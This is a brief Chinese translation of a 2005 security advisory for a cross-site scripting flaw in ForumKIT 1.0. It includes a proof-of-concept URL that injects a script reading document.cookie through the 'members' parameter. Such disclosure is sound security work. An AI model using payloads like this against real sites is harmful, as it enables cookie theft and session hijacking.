[翻译]ForumKIT跨站脚本漏洞

本文作者： 剑心[B.C.T]
翻译网站： http://www.bnso.net

发布日期:2005.1.14
漏洞来源:tom cruise <the.n3t(at)gmail.com>
漏洞系统:
forumKIT 1.0
漏洞描述:
在members变量中存在一个跨站脚本漏洞，你可以替换true的值为跨站攻击代码。
利用示范:
http://forum.target.com/f.aspx?members=">
<script>alert(document.cookie);</script>
漏洞发现:neO
联系地址:al_modamer@hotmail.com